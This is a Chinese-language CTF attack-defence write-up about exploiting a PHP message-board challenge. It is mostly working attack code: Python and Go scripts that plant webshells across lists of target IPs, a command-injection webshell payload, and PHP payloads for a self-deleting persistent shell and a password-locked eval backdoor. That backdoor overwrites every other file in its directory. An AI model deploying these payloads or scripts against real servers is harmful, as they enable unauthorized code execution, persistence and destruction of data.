全网第一篇wp^ ^(本来回来那天就该写了,拖延症硬是拖到现在……)
由于这题的阉割版被我放在线上赛,如果想直接看线上赛题解可以直接在目录里只看初步分析即可
目录结构&主要文件
docker-compose.yaml
拓补图如下
只有proxy和ssh分配到内网ip。proxy设计得很聪明,作用是防止反弹shell,只能通过上马直连的方式获取有限的命令执行,拿不到tty,而且也防止了安插诸如mitmproxy这类中间人流量监控,保证自己的流量不被别人监听
接着就来直接分析一下web的代码
初步分析
只有一个后端文件post.php,前端给了三个种选项。lev2是直接发消息并保存到messages,lev4是添加token鉴权,lev7是在token鉴权基础上使用qrcode编码消息。
全审一遍后会发现,除了file_put_content能直接写入东西外,危险函数只有两个include和一个shell_exec
所以入手的思路就有两种
- 通过lev2/4写shell.php,直接访问messages/shell.php或用post.php?name=shell.php&level=2
- 通过lev7做命令截断,例如
message=;echo \'<?php system($_GET["cmd"])?>\' > messages/{name}.php
但因为是awd,所以要进一步来做防御和持久化
实况回忆
能进入到线下赛的队伍肯定和我们一样都是久经沙场的老手,比赛刚开始的时候一看awd,大家也都马上拿出预存的现成一句马批量种植脚本,很快拿到前几轮flag。所以前8轮大家都是差不多的重复播种一句马,从这之后才开始出现画风突变,什么不死马、隐身文件,甚至只在文章里见过的RSA加密马这次还真在实战里碰上了XD 别的题我不清楚,但每个队伍负责这道题的web手们可以说在别人家的靶机上偷flag偷得是相当欢乐🌚
在大概30轮左右的时候,其实大家在短时间内能想出来的招数也已经差不多都使完了,不过我在比赛之前就料想到可能会有awd这么一环,根据以往的经验,我便决定采取“敌先动我不动”的策略,除了最开始的一句马脚本在接着跑grep 'flag'
以外,在批量脚本里我还加上一句cat *
,开始到处搜刮其他人靶机上留下的马
所以接下来的木马升级,我的核心思想就是“你的马就是我的马”和“我读不到谁也别想读到”😈,让歪果仁见识一下熟读孙子兵法的中国民间黑客的石粒!
木马设计
先放上我最开始的一句马脚本,后面的脚本都是在这个框架的基础上做修改
import requests
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
# 从 ip 文件中读取目标 IP 地址
def read_ips():
try:
with open("ip", "r") as file:
ips = file.read().splitlines()
return ips
except FileNotFoundError:
print("错误:未找到 ip 文件。请确保目标 IP 列表文件存在。")
return []
# 目标 URL 和参数
def get_target_url(ip):
return f"http://{ip}/post.php"
def get_file_url(ip):
return f"http://{ip}/messages/akared555.php"
PARAMS = {
"name": "akared555.php",
"message": "<?php system(\"grep -r 'MINIAD{' . && cat *\");?>",
"level": "2",
}
# 请求头
HEADERS = {
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5",
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"Content-Length": "0",
"Origin": "http://43.199.161.42",
"Pragma": "no-cache",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0",
}
def upload_file(target_url):
"""
上传文件到目标服务器
"""
try:
response = requests.post(
target_url,
params=PARAMS,
headers=HEADERS,
verify=False # 忽略 SSL 证书验证
)
return response.status_code == 200
except requests.RequestException:
return False
def check_flag(file_url):
"""
检查上传的文件内容是否包含以 MINIAD{ 开头的 flag
"""
try:
response = requests.get(file_url, headers=HEADERS, verify=False)
if response.status_code == 200:
content = response.text
# 使用正则表达式查找以 MINIAD{ 开头的 flag
flag_match = re.search(r"MINIAD\{.*?\}", content)
if flag_match:
print(f"找到 flag: {flag_match.group(0)}")
except requests.RequestException:
pass
def attack_ip(ip):
"""
对单个 IP 地址执行上传和检查操作
"""
target_url = get_target_url(ip)
file_url = get_file_url(ip)
if upload_file(target_url):
check_flag(file_url)
def main():
"""
主函数:并发检查所有 IP 地址
"""
ips = read_ips()
if not ips:
return
# 使用线程池并发处理
with ThreadPoolExecutor(max_workers=10) as executor:
while True:
futures = [executor.submit(attack_ip, ip) for ip in ips]
for future in as_completed(futures):
future.result() # 等待任务完成
if __name__ == "__main__":
main()
结构其实很简单,其实就是实现了最基本的上传和访问、获取功能
所以目前我们的升级应该更多的在php执行代码上,等解决完持久化问题后再回来升级py脚本的速度
一句马显然在战火纷飞的靶机上是站不住脚的,别人一个rm一定比我通过py发马的速度快。所以既然别人有一句马,那我们肯定也要安排上
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
system('grep -r "MINIAD\{" . && cat *');
sleep(0);
}
这样其他人就没法用直接删掉。要是有大聪明在自己的马里写了rm *
呢?也不怕,让我们的马隐身就好。也就是把文件名变成.akared555.php
到这里还没完,如果只是这样,那么其实只要别人对着我的.akared555.php
这一个文件进行”精准核打击“式的删除就可以了,所以我们不仅要隐身,我们还要分身!用过vscode ssh和macos的人都知道.vscode
和.DS_stroe
是什么贵物,现在我们要做的就是把这种精神发挥到木马设计上,我们不仅要分一个,而且要和敌方删除脚本在争夺有限的CPU资源下分出无穷多个!😈
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
file_put_contents('akared777'.rand().'.php','system(\'grep -r "MINIAD\{" . && cat *\');');
sleep(0);
}
到这里就结束了吗?不,到目前为止,我们的木马都还处在“被动防御”的姿态,接下来我们要做的就是主动进攻!从新冠病毒身上我们可以学习到,既然你删我,那我把你也变成我不就完了?
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
file_put_contents('akared777'.rand().''.php', '<?php
if (md5($_POST[1]) == "c9c135a25454f018fa1e05d9f4cee7c4") {
eval($_POST[1]);
system("grep -r 'MINIAD{' . --exclude='akared777.php' ");
$files = scandir(__DIR__);
foreach ($files as $file) {
if ($file !== "." && $file !== ".." && $file !== "akared777.php" && is_file($file) && file != "akared666.php") {
file_put_contents($file, 'DoYouKnow_TKKC_SEC?');
sleep(0);
}
}
}
?>');
sleep(0);
}
这次我们不仅在分身的基础上实现了对所有敌方木马的覆盖,还为他添置了md5校验,这样别人想用我们的马也用不了。为了区分我们最终搓出来的变异马和最开始一句马的区别,我也把akared555改成了akared666🥵,所以最终我们的完整版py脚本就是下面这样(未实现随机文件名读取,随机文件名读取是我后面在用go重写时才想到的,所以py版本并没有)
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
# 从 ip 文件中读取目标 IP 地址
def read_ips():
try:
with open("ip", "r") as file:
ips = file.read().splitlines()
return ips
except FileNotFoundError:
print("错误:未找到 ip 文件。请确保目标 IP 列表文件存在。")
return []
# 目标 URL 和参数
def get_target_url(ip):
return f"http://{ip}/post.php"
def get_akared666_url(ip):
return f"http://{ip}/messages/akared666.php"
def get_file_url(ip):
return f"http://{ip}/messages/akared777.php"
PARAMS = {
"name": "akared666.php",
"message": "<?php set_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while(1){file_put_contents('akared777.php','<?php if(md5($_POST[1])==\"c9c135a25454f018fa1e05d9f4cee7c4\"){eval($_POST[1]);system(\"grep -r \\'MINIAD{\\' . --exclude=\\'akared777.php\\' \");$files=scandir(__DIR__);foreach($files as $file){if($file!==\".\"&&$file!==\"..\"&&$file!==\"akared777.php\"&&is_file($file)&&file!=\"akared666.php\"){file_put_contents($file,\\'DoYouKnow_TKKC_SEC?\\');sleep(0);}}}?>');sleep(0);}",
"level": "2",
}
# 请求头
HEADERS = {
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5",
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"Content-Length": "0",
"Pragma": "no-cache",
"Origin": "http://127.0.0.1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0",
}
def upload_file(target_url):
"""
上传文件到目标服务器
"""
try:
response = requests.post(
target_url,
params=PARAMS,
headers=HEADERS,
verify=False # 忽略 SSL 证书验证
)
return response.status_code == 200
except requests.RequestException:
return False
def access_akared666(akared666_url):
"""
访问 akared666.php 以触发 akared777.php 的生成
"""
try:
response = requests.get(akared666_url, headers=HEADERS, verify=False)
return response.status_code == 200
except requests.RequestException:
return False
# def check_flag(file_url):
# """
# 检查上传的文件内容是否包含以 MINIAD{ 开头的 flag
# """
# try:
# data = {1: 'akakdjq'}
# rep = requests.post(url=file_url, headers=HEADERS, data=data, verify=False)
def attack_ip(ip):
"""
对单个 IP 地址执行上传、访问和检查操作
"""
target_url = get_target_url(ip)
akared666_url = get_akared666_url(ip)
file_url = get_file_url(ip)
# 上传文件
if upload_file(target_url):
print(f"上传成功:{ip}")
# 访问 akared666.php
if access_akared666(akared666_url):
print(f"访问 akared666.php 成功:{ip}")
else:
print(f"访问 akared666.php 失败:{ip}")
else:
print(f"上传失败:{ip}")
def main():
"""
主函数:持续并发上传、访问和检查
"""
ips = read_ips()
if not ips:
return
# 使用线程池并发处理
with ThreadPoolExecutor(max_workers=10) as executor:
while True:
futures = [executor.submit(attack_ip, ip) for ip in ips]
for future in as_completed(futures):
future.result() # 等待任务完成
if __name__ == "__main__":
main()
负责访问akared777.php的是这个
import requests
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
import time
# 从 ip 文件中读取目标 IP 地址
def read_ips():
try:
with open("ip", "r") as file:
ips = file.read().splitlines()
return ips
except FileNotFoundError:
print("错误:未找到 ip 文件。请确保目标 IP 列表文件存在。")
return []
def get_file_url(ip):
return f"http://{ip}/messages/akared777.php"
# 请求头
HEADERS = {
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5",
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"Content-Length": "0",
"Pragma": "no-cache",
"Origin": "http://127.0.0.1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0",
}
def check_flag(file_url):
"""
检查上传的文件内容是否包含以 MINIAD{ 开头的 flag
"""
try:
data = {1: 'akakdjq'}
rep = requests.post(url=file_url, headers=HEADERS, data=data, verify=False)
if rep.status_code == 200:
content = rep.text
# 使用正则表达式查找以 MINIAD{ 开头的 flag
flag_match = re.search(r"MINIAD\{.*?\}", content)
if flag_match:
print(f"找到 flag: {flag_match.group(0)}")
print(f"地址: {file_url}")
except requests.RequestException as e:
pass
def check_ip(ip):
"""
对单个 IP 地址执行检查操作
"""
file_url = get_file_url(ip)
check_flag(file_url)
def main():
"""
主函数:持续并发检查所有 IP 地址
"""
ips = read_ips()
if not ips:
return
# 使用线程池并发处理
with ThreadPoolExecutor(max_workers=10) as executor:
while True:
futures = [executor.submit(check_ip, ip) for ip in ips]
for future in as_completed(futures):
future.result() # 等待任务完成
if __name__ == "__main__":
main()
但再好的木马,碰上python这样的龟速执行也会被敌方抢占先机,所以最后我们就改用Go实现真正意义上的高并发木马种植
package main
import (
"bufio"
"fmt"
"io/ioutil"
"net/http"
"os"
"regexp"
"strings"
"sync"
"time"
)
// 常量定义
const (
postURLTemplate = "http://%s/post.php"
akared666URLTemplate = "http://%s/messages/akared666.php"
headers = `Accept: */*
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 0
Pragma: no-cache
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0`
)
// 全局变量
var (
// 上传参数
params = map[string]string{
"name": "akared666.php",
"message": "<?php set_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while(1){file_put_contents('akared777'.rand().'php','<?php if(md5($_POST[1])==\"c9c135a25454f018fa1e05d9f4cee7c4\"){eval($_POST[1]);system(\"grep -r \\'MINIAD{\\' . --exclude=\\'akared777.php\\' \");$files=scandir(__DIR__);foreach($files as $file){if($file!==\".\"&&$file!==\"..\"&&$file!==\"akared777.php\"&&is_file($file)&&file!=\"akared666.php\"){file_put_contents($file,\\'DoYouKnow_TKKC_SEC?\\');sleep(0);}}}?>');sleep(0);}",
"level": "2",
}
// Flag 正则表达式
flagRegex = regexp.MustCompile(`MINIAD\{.*?\}`)
)
// 读取 IP 地址列表
func readIPs() []string {
file, err := os.Open("ip")
if err != nil {
fmt.Println("错误:未找到 ip 文件。", err)
return nil
}
defer file.Close()
var ips []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
ips = append(ips, scanner.Text())
}
return ips
}
// 解析请求头
func parseHeaders(headerStr string) http.Header {
header := http.Header{}
lines := strings.Split(headerStr, "\n")
for _, line := range lines {
parts := strings.SplitN(line, ": ", 2)
if len(parts) == 2 {
header.Set(parts[0], parts[1])
}
}
return header
}
// 上传 akared666.php
func uploadFile(ip string) bool {
postURL := fmt.Sprintf(postURLTemplate, ip)
req, err := http.NewRequest("POST", postURL, nil)
if err != nil {
return false
}
q := req.URL.Query()
for k, v := range params {
q.Add(k, v)
}
req.URL.RawQuery = q.Encode()
req.Header = parseHeaders(headers)
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Do(req)
if err != nil {
return false
}
defer resp.Body.Close()
return resp.StatusCode == 200
}
// 获取 akared777<random>.php 文件名
func getAkared777Filename(ip string) (string, bool) {
akared666URL := fmt.Sprintf(akared666URLTemplate, ip)
req, err := http.NewRequest("GET", akared666URL, nil)
if err != nil {
return "", false
}
req.Header = parseHeaders(headers)
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Do(req)
if err != nil {
return "", false
}
defer resp.Body.Close()
if resp.StatusCode != 200 {
return "", false
}
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", false
}
filename := strings.TrimSpace(string(body))
if filename == "" || !strings.HasPrefix(filename, "akared777") || !strings.HasSuffix(filename, ".php") {
return "", false
}
return filename, true
}
// 检查 Flag
func checkFlag(ip string, filename string) {
fileURL := fmt.Sprintf("http://%s/messages/%s", ip, filename)
data := "1=akakdjq"
req, err := http.NewRequest("POST", fileURL, strings.NewReader(data))
if err != nil {
return
}
req.Header = parseHeaders(headers)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Do(req)
if err != nil {
return
}
defer resp.Body.Close()
if resp.StatusCode == 200 {
body, err := ioutil.ReadAll(resp.Body)
if err == nil {
content := string(body)
matches := flagRegex.FindAllString(content, -1)
for _, match := range matches {
fmt.Printf("找到 flag: %s\n地址: %s\n", match, fileURL)
}
}
}
}
// 对单个 IP 进行攻击
func attackIP(ip string, wg *sync.WaitGroup) {
defer wg.Done()
// 上传文件
if uploadFile(ip) {
fmt.Printf("上传成功:%s\n", ip)
// 获取随机文件名
filename, ok := getAkared777Filename(ip)
if ok {
fmt.Printf("获取到文件名:%s for %s\n", filename, ip)
// 检查 Flag
checkFlag(ip, filename)
} else {
fmt.Printf("获取文件名失败:%s\n", ip)
}
} else {
fmt.Printf("上传失败:%s\n", ip)
}
}
// 主函数
func main() {
ips := readIPs()
if len(ips) == 0 {
fmt.Println("没有可用的 IP 地址")
return
}
var wg sync.WaitGroup
for {
for _, ip := range ips {
wg.Add(1)
go attackIP(ip, &wg)
}
wg.Wait()
time.Sleep(1 * time.Second) // 控制循环间隔
}
}
至此,本场比赛的超级毒王就此诞生😈
后记
这个马是我在比赛现场第一天加上回去后在酒店搓了一晚上的成果。第二天有了我的木马加持,我们的排名一度来到前三(不过有点可惜忘记截图),直到主办方突然宣布部分轮数分数被取消,这对本在第一天拿分不多的我来了波史诗级削弱。。。= =
而且中间大家所有人的proxy都断了一次,所以第二天虽然这题有很高的得分,但已经比较难用这道题和r4kapig这样的头部战队拉开差距
不过整体打得还是挺开心的,据说我搓脚本那天晚上对面红磡体育馆还在开演唱会
当时现场拍的改脚本照片XD
更多有关这些故事的细节就等打完今年闽盾过后再慢慢聊吧~